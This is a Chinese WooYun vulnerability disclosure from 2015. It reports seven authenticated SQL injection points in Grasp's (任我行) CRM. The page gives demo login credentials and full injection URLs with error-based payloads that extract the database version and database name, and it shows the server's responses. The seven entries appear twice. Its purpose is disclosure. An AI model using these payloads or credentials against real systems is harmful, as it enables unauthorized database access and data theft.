当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0103792

漏洞标题:任我行crmSQL注入7处(需要登陆)

相关厂商:grasp.com.cn

漏洞作者: 路人甲

提交时间:2015-03-27 15:30

修复时间:2015-06-30 15:33

公开时间:2015-06-30 15:33

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:12

漏洞状态:漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-03-27: 细节已通知厂商并且等待厂商处理中
2015-04-01: 厂商主动忽略漏洞,细节向第三方安全合作伙伴开放
2015-05-26: 细节向核心白帽子及相关领域专家公开
2015-06-05: 细节向普通白帽子公开
2015-06-15: 细节向实习白帽子公开
2015-06-30: 细节向公众公开

简要描述:

dd

详细说明:

官网demo:http://show.wecrm.com/xt/main 账户:demo2/demodemo 用户名可以是demo1-demo9密码一样
注入1:
http://show.wecrm.com/xt/Common/CoSchedule/?mainObjectType=Contract&mainObjectId='%20and%201=(select%20@@version)--&_=0.04334524227306247
返回:
在将 nvarchar 值 'Microsoft SQL Server 2008 R2 (RTM) - 10.50.1600.1 (Intel X86) Apr 2 2010 15:53:02 Copyright (c) Microsoft Corporation Enterprise Edition on Windows NT 6.1 (Build 7601: Service Pack 1) (WOW64) (Hypervisor) ' 转换成数据类型 int 时失败。
注入2:
http://show.wecrm.com/xt/Common/CoRemind/?mainObjectType=Contract&mainObjectId='%20and%201=(select%20@@version)--&_=0.0004873985890299082
返回:
在将 nvarchar 值 'Microsoft SQL Server 2008 R2 (RTM) - 10.50.1600.1 (Intel X86) Apr 2 2010 15:53:02 Copyright (c) Microsoft Corporation Enterprise Edition on Windows NT 6.1 (Build 7601: Service Pack 1) (WOW64) (Hypervisor) ' 转换成数据类型 int 时失败。
注入3:
http://show.wecrm.com/xt/Common/CoActivity/?mainObjectType=Contract&mainObjectId='%20and%201=(select%20@@version)--&_=0.8647309842053801
返回:
在将 nvarchar 值 'Microsoft SQL Server 2008 R2 (RTM) - 10.50.1600.1 (Intel X86) Apr 2 2010 15:53:02 Copyright (c) Microsoft Corporation Enterprise Edition on Windows NT 6.1 (Build 7601: Service Pack 1) (WOW64) (Hypervisor) ' 转换成数据类型 int 时失败。
注入4:
http://show.wecrm.com/xt/Common/CoAnnex/?mainObjectType=Contract&mainObjectId='%20and%201=(select%20@@version)--&_=0.4324110047891736
返回:
在将 nvarchar 值 'Microsoft SQL Server 2008 R2 (RTM) - 10.50.1600.1 (Intel X86) Apr 2 2010 15:53:02 Copyright (c) Microsoft Corporation Enterprise Edition on Windows NT 6.1 (Build 7601: Service Pack 1) (WOW64) (Hypervisor) ' 转换成数据类型 int 时失败。
注入5:
http://show.wecrm.com/xt/Common/CoAllCanReport/?mainObjectType=Contract&mainObjectId='%20and%201=(select%20db_name())--&_=0.476764430757612
返回:
在将 nvarchar 值 'grasp_crm_CRMDEMO' 转换成数据类型 int 时失败。
注入6:
http://show.wecrm.com/xt/SystemManage/CoProductDetal/?TypeId='%20and%201=(select%20db_name())--&dlgUID=30645660&title=%E4%BA%A7%E5%93%81%E8%AF%A6%E6%83%85&_=0.9285695108119398
返回:
在将 nvarchar 值 'grasp_crm_CRMDEMO' 转换成数据类型 int 时失败。
注入7:
http://show.wecrm.com/xt/SystemManage/GetProductDetailUI/?typeId='%20and%201=(select%20db_name())--&inlist=true&_=0.9700568213593215
返回:
在将 nvarchar 值 'grasp_crm_CRMDEMO' 转换成数据类型 int 时失败。

漏洞证明:

注入1:
http://show.wecrm.com/xt/Common/CoSchedule/?mainObjectType=Contract&mainObjectId='%20and%201=(select%20@@version)--&_=0.04334524227306247
返回:
在将 nvarchar 值 'Microsoft SQL Server 2008 R2 (RTM) - 10.50.1600.1 (Intel X86) Apr 2 2010 15:53:02 Copyright (c) Microsoft Corporation Enterprise Edition on Windows NT 6.1 (Build 7601: Service Pack 1) (WOW64) (Hypervisor) ' 转换成数据类型 int 时失败。
注入2:
http://show.wecrm.com/xt/Common/CoRemind/?mainObjectType=Contract&mainObjectId='%20and%201=(select%20@@version)--&_=0.0004873985890299082
返回:
在将 nvarchar 值 'Microsoft SQL Server 2008 R2 (RTM) - 10.50.1600.1 (Intel X86) Apr 2 2010 15:53:02 Copyright (c) Microsoft Corporation Enterprise Edition on Windows NT 6.1 (Build 7601: Service Pack 1) (WOW64) (Hypervisor) ' 转换成数据类型 int 时失败。
注入3:
http://show.wecrm.com/xt/Common/CoActivity/?mainObjectType=Contract&mainObjectId='%20and%201=(select%20@@version)--&_=0.8647309842053801
返回:
在将 nvarchar 值 'Microsoft SQL Server 2008 R2 (RTM) - 10.50.1600.1 (Intel X86) Apr 2 2010 15:53:02 Copyright (c) Microsoft Corporation Enterprise Edition on Windows NT 6.1 (Build 7601: Service Pack 1) (WOW64) (Hypervisor) ' 转换成数据类型 int 时失败。
注入4:
http://show.wecrm.com/xt/Common/CoAnnex/?mainObjectType=Contract&mainObjectId='%20and%201=(select%20@@version)--&_=0.4324110047891736
返回:
在将 nvarchar 值 'Microsoft SQL Server 2008 R2 (RTM) - 10.50.1600.1 (Intel X86) Apr 2 2010 15:53:02 Copyright (c) Microsoft Corporation Enterprise Edition on Windows NT 6.1 (Build 7601: Service Pack 1) (WOW64) (Hypervisor) ' 转换成数据类型 int 时失败。
注入5:
http://show.wecrm.com/xt/Common/CoAllCanReport/?mainObjectType=Contract&mainObjectId='%20and%201=(select%20db_name())--&_=0.476764430757612
返回:
在将 nvarchar 值 'grasp_crm_CRMDEMO' 转换成数据类型 int 时失败。
注入6:
http://show.wecrm.com/xt/SystemManage/CoProductDetal/?TypeId='%20and%201=(select%20db_name())--&dlgUID=30645660&title=%E4%BA%A7%E5%93%81%E8%AF%A6%E6%83%85&_=0.9285695108119398
返回:
在将 nvarchar 值 'grasp_crm_CRMDEMO' 转换成数据类型 int 时失败。
注入7:
http://show.wecrm.com/xt/SystemManage/GetProductDetailUI/?typeId='%20and%201=(select%20db_name())--&inlist=true&_=0.9700568213593215
返回:
在将 nvarchar 值 'grasp_crm_CRMDEMO' 转换成数据类型 int 时失败。

修复方案:

过滤

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:无影响厂商忽略

忽略时间:2015-06-30 15:33

厂商回复:

最新状态:

暂无